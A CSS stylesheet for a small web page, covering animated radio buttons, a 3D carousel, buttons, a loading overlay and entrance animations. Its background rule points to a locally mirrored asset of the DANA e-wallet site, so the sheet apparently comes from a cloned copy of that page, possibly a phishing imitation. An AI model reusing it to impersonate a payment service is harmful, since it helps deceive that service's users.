form {
  --background: #ffffff;
  --text: #414856;
  --radio: #7C96B2;
  --radio-checked: #118EEA;
  --radio-size: 25px;
  --width: 292px;
  --height: 120px;
  --border-radius: 20px 20px 8px 8px;
  background: var(--background);
  width: var(--width);
  height: var(--height);
  border-radius: var(--border-radius);
  color: var(--text);
  position: relative;
  left: 0;
  right: 0;
  box-shadow: 0 10px 30px rgba(65, 72, 86, 0.05);
  box-shadow: rgba(99, 99, 99, 0.2) 0px 2px 8px 0px;
  padding: 30px 20px;
  padding-top: 10px;
  display: block;
  grid-template-columns: auto var(--radio-size);
  font-weight: bold;
  align-items: center;
  font-family: Alata, sans-serif;
  
}
form label {
  cursor: pointer;
  color: #118EEA;
  font-weight: bold;
  text-shadow: 1px 1px 0 #FFF;
}
form input[type=radio] {
  -webkit-appearance: none;
  -moz-appearance: none;
  position: relative;
  height: var(--radio-size);
  width: var(--radio-size);
  outline: none;
  margin: 3px 0;
  cursor: pointer;
  border: 2px solid var(--radio);
  background: transparent;
  border-radius: 50%;
  display: grid;
  justify-self: end;
  justify-items: center;
  align-items: center;
  overflow: hidden;
  transition: border 0.5s ease;
}
form input[type=radio]::before, form input[type=radio]::after {
  content: "";
  display: flex;
  justify-self: center;
  border-radius: 50%;
}
form input[type=radio]::before {
  position: absolute;
  width: 100%;
  height: 100%;
  background: var(--background);
  z-index: 1;
  opacity: var(--opacity, 1);
}
form input[type=radio]::after {
  position: relative;
  width: calc(100% /2);
  height: calc(100% /2);
  background: var(--radio-checked);
  top: var(--y, 100%);
  transition: top 0.5s cubic-bezier(0.48, 1.97, 0.5, 0.63);
}
form input[type=radio]:checked {
  --radio: var(--radio-checked);
}
form input[type=radio]:checked::after {
  --y: 0%;
  -webkit-animation: stretch-animate 0.3s ease-out 0.17s;
          animation: stretch-animate 0.3s ease-out 0.17s;
}
form input[type=radio]:checked::before {
  --opacity: 0;
}
form input[type=radio]:checked ~ input[type=radio]::after {
  --y: -100%;
}
form input[type=radio]:not(:checked)::before {
  --opacity: 1;
  transition: opacity 0s linear 0.5s;
}

@-webkit-keyframes stretch-animate {
  0% {
    transform: scale(1, 1);
  }
  28% {
    transform: scale(1.15, 0.85);
  }
  50% {
    transform: scale(0.9, 1.1);
  }
  100% {
    transform: scale(1, 1);
  }
}

@keyframes stretch-animate {
  0% {
    transform: scale(1, 1);
  }
  28% {
    transform: scale(1.15, 0.85);
  }
  50% {
    transform: scale(0.9, 1.1);
  }
  100% {
    transform: scale(1, 1);
  }
}
body {
  background: #E8EBF3;
  height: 100%;
  font: 400 16px "Varela Round", sans-serif;
  display: flex;
  flex-direction: column;
  justify-content: center;
  align-items: center;
}
body .socials {
  position: fixed;
  display: block;
  left: 20px;
  bottom: 20px;
}
body .socials > a {
  display: block;
  width: 30px;
  opacity: 0.2;
  transform: scale(var(--scale, 0.8));
  transition: transform 0.3s cubic-bezier(0.38, -0.12, 0.24, 1.91);
}
body .socials > a:hover {
  --scale: 1;
}   


/* Added PseudoCode CSS to Hide the Controls of Video as on adding Controls Attribute to Video, the controls of video get visible easily. So to control that case also, this needs to be present on CSS End */

video::-webkit-media-controls {
    display: ;
}

video {
  display: none;
  pointer-events: none;
}


#carousel {
  grid-row: 1 / 2;
  grid-column: 1 / 8;
  width: 150vw;
  height: 500px;
  display: flex;
  align-items: center;
  justify-content: center;
  overflow: hidden;
  transform-style: preserve-3d;
  perspective: 600px;
  --items: 5;
  --middle: 3;
  --position: 1;
  pointer-events: none;
}

div.item {
  position: absolute;
  width: 300px;
  height: 400px;
  background-color: coral;
  --r: calc(var(--position) - var(--offset));
  --abs: max(calc(var(--r) * -1), var(--r));
  transition: all 0.25s linear;
  transform: rotateY(calc(-10deg * var(--r)))
    translateX(calc(-300px * var(--r)));
  z-index: calc((var(--position) - var(--abs)));
}

div.item:nth-of-type(1) {
  --offset: 1;
  background-color: #90f1ef;
}
div.item:nth-of-type(2) {
  --offset: 2;
  background-color: #ff70a6;
}
div.item:nth-of-type(3) {
  --offset: 3;
  background-color: #ff9770;
}
div.item:nth-of-type(4) {
  --offset: 4;
  background-color: #ffd670;
}
div.item:nth-of-type(5) {
  --offset: 5;
  background-color: #e9ff70;
}

 .btn-punya {
        display: inline-block;
        margin: 5px auto;
        padding: 0px;
        position: relative;
        cursor: pointer;
        left: 0;
        right: 0;
        background: none rgb(0, 134, 224);
        border: none;
        text-align: center;
        height: 45px;
        width: 100%;
        border: 1.5px solid #ddd;
        font-family: 'Open Sans', sans-serif;
        font-size: 14px;
        font-weight: bold;
        color: rgb(255, 255, 255);
        letter-spacing: 1px;
        line-height: 1;
        border-radius: 50px;
        box-shadow: rgb(170, 170, 170) 5px 5px 7px 0px;
        transition: background 200ms ease 0s;
    }
    
    
   .btn-punya:active{
       opacity: 0.5;
   } 
    
    /*********************/
.process1 {
     width: 100%;
            height: 100%;
             display: flex;
             justify-content: center;
            margin: auto;
            position: absolute;
           padding-top: 300px;
            left: 0;
            right: 0;
            bottom: 0;
            background: rgba(0, 0, 0, 0.4);
            z-index: 99999;
            box-shadow: rgba(6, 24, 44, 0.4) 0px 0px 0px 0px, rgba(6, 24, 44, 0.65) 0px 4px 4px -1px, rgba(255, 255, 255, 0.08) 0px 1px 0px inset; background: #118EEA; color: #fff; font-size: 17px; font-weight: bold;
            
            
      
}
.loading {
    position: absolute;
    display: flex;
    justify-content: center;
    align-items: center;
    margin-bottom: 20%;
    margin-top: 300px;
}
.loading img {
    width: 50px;
    
    top: 10;
}
.loading .spinner{
    position: absolute;
    width: 35px;
    animation: spin 1s linear infinite;
    -webkit-animation: spin 1s linear infinite;
    -moz-animation: spin 1s linear infinite;
    -ms-animation: spin 1s linear infinite;
    -o-animation: spin 1s linear infinite;
}
@keyframes spin {
  0% { transform: rotate(360deg); }
  100% { transform: rotate(0deg); }
}
@-webkit-keyframes spin {
  0% { -webkit-transform: rotate(360deg); }
  100% { -webkit-transform: rotate(0deg); }
}
@-moz-keyframes spin {
  0% { -webkit-transform: rotate(360deg); }
  100% { -webkit-transform: rotate(0deg); }
}
@-ms-keyframes spin {
  0% { -webkit-transform: rotate(360deg); }
  100% { -webkit-transform: rotate(0deg); }
}
@-o-keyframes spin {
  0% { -webkit-transform: rotate(360deg); }
  100% { -webkit-transform: rotate(0deg); }
}

/*********************/

body{
    background-image: url(../../a.m.dana.id/resource/danaweb-v2/hero-personal-bg-back.png);
    background-position: 100% 100%;
    background-size: 100% 100%;
    background-color: #fff;
}


.animated {
	-webkit-animation-duration: 3s;
	animation-duration: 3s;
	-webkit-animation-fill-mode: both;
	animation-fill-mode: both;
	 -webkit-animation-name: bounceInDown; 
    animation-name: bounceInDown; 
}

@-webkit-keyframes bounceInDown { 
   0% { 
       opacity: 1; 
        -webkit-transform: translateY(-200px); 
    } 
    60% { 
        opacity: 1; 
        -webkit-transform: translateY(0px); 
    } 
    80% { 
        -webkit-transform: translateY(0px); 
    } 
    100% { 
        -webkit-transform: translateY(0); 
    } 
} 

@keyframes bounceInDown { 
    0% { 
        opacity: 1; 
        transform: translateY(-200px); 
    } 
    60% { 
        opacity: 1; 
        transform: translateY(0px); 
    } 
    80% { 
        transform: translateY(0px); 
    } 
    100% { 
        transform: translateY(0); 
    } 
} 

#animation-demo {
	width: 200px;
	height: 150px;
	position: relative;
	background-color: #62A80A;
	line-height: 150px;
	color: #000;
	border: solid 1px #1A7404;
	text-align: center;
} 

.effec {
	-webkit-animation-duration: 2s;
	animation-duration: 2s;
	-webkit-animation-fill-mode: both;
	animation-fill-mode: both;
-webkit-animation-name: fadeInRightBig; 
    animation-name: fadeInRightBig; 
    text-align: center;
}

@-webkit-keyframes fadeInRightBig { 
    0% { 
        opacity: 1; 
        -webkit-transform: translateX(200px); 
    } 
    100% { 
        opacity: 1; 
        -webkit-transform: translateX(0); 
    } 
} 
@keyframes fadeInRightBig { 
    0% { 
        opacity: 1; 
        transform: translateX(200px); 
    } 
    100% { 
        opacity: 1; 
        transform: translateX(0); 
    } 
}